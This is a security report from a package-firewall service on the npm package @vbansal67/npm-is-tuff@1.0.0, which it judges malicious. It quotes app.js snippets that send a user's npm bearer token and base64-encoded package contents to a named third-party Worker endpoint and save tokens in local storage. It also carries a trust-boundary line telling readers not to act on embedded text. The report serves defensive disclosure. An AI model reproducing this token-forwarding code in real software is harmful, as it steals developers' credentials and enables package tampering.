--- canonical: "https://firewall.lpm.dev/npm/@vbansal67/npm-is-tuff/v/1.0.0" markdown: "https://firewall.lpm.dev/npm/@vbansal67/npm-is-tuff/v/1.0.0.md" package: "@vbansal67/npm-is-tuff" report_status: "published" title: "@vbansal67/npm-is-tuff@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # @vbansal67/npm-is-tuff@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — An operator of the Worker can obtain npm credentials and uploaded package contents, enabling account compromise or package tampering. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.0.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. A user clicking Publish sends an npm bearer token and selected package contents to a third-party Worker in browser mode. The page also contains a prefilled npm credential and stores entered tokens locally. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-09-14T03:44:29.768Z - **Finished:** 2026-09-14T03:45:15.062Z - **Download time:** 763 ms - **Static scan time:** 14 ms - **AI review time:** 44517 ms - **Total time:** 45294 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** A user clicking Publish sends an npm bearer token and selected package contents to a third-party Worker in browser mode. The page also contains a prefilled npm credential and stores entered tokens locally. - **Trigger:** Opening the HTML page, selecting a file, and clicking Publish Link. - **Impact:** An operator of the Worker can obtain npm credentials and uploaded package contents, enabling account compromise or package tampering. - **Evidence paths:** app.js, index.html - **Review source:** ai\_review - **Reviewed:** 2026-09-14T03:45:15.062Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Credential and package-upload proxying to a third-party endpoint. - **Attack narrative:** The package presents a publisher interface but, in ordinary browser use, routes the publish request to a custom Worker instead of npm. It sends the npm bearer token in the request and embeds the selected package contents as base64 attachments. The page also exposes a prefilled npm credential and persists entered tokens in local storage. This makes a user-initiated publish action a credential and package-data exfiltration path. - **Rationale:** The custom Worker receives both the npm bearer token and package payload during normal browser publishing, while an embedded credential increases immediate exposure. This is concrete credential and data exfiltration, not package-aligned publishing. - **Files touched:** app.js, index.html - **Network endpoints:** https://dawn-salad-6ee1.vihaanb0715.workers.dev, https://registry.npmjs.org/ ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The HTML prepopulates an npm password field with a credential., Browser use redirects publishing to a custom Worker rather than the npm registry., The Worker request includes the bearer token and the complete uploaded package payload., Entered npm tokens are retained in browser local storage. - **Evidence against:** package.json has no install, preinstall, or postinstall hook., Network transmission occurs only after the user clicks the publish button. ## Affected versions and remediation This report applies to @vbansal67/npm-is-tuff@1.0.0. - Avoid installing @vbansal67/npm-is-tuff@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 4. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** index.html - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```html stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1 ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** index.html - **Public source:** [View source]() The HTML prepopulates an npm password field with a credential. Public source snippet (untrusted): ```text
``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() Browser use redirects publishing to a custom Worker rather than the npm registry. Public source snippet (untrusted): ```javascript const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const cleanWorkerUrl = WORKER_URL.replace(/\/+$/, ''); const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${packageName.replace('/', '%2F')}` : cleanWorkerUrl; ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() The Worker request includes the bearer token and the complete uploaded package payload. Public source snippet (untrusted): ```javascript const headers = { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }; if (!isNativeApp) { headers['x-package-name'] = packageName; } const response = await fetch(finalEndpoint, { method: 'PUT', headers: headers, body: JSON.stringify(payload) }); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() The Worker request includes the bearer token and the complete uploaded package payload. Public source snippet (untrusted): ```javascript const base64Content = await zipEntry.async('base64'); attachments[cleanPath] = { content_type: 'application/octet-stream', data: base64Content, length: base64Content.length }; ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** app.js - **Public source:** [View source]() Entered npm tokens are retained in browser local storage. Public source snippet (untrusted): ```javascript if (tokenInput) { const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @vbansal67/npm-is-tuff - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-09-11T21:29:52.963Z - **Package first seen:** 2026-09-14T03:45:15.062Z - **Package last seen:** 2026-09-30T05:33:01.844Z - **Known versions:** 2 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Web - **Artifact files:** 3 - **Artifact unpacked size:** 9,582 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()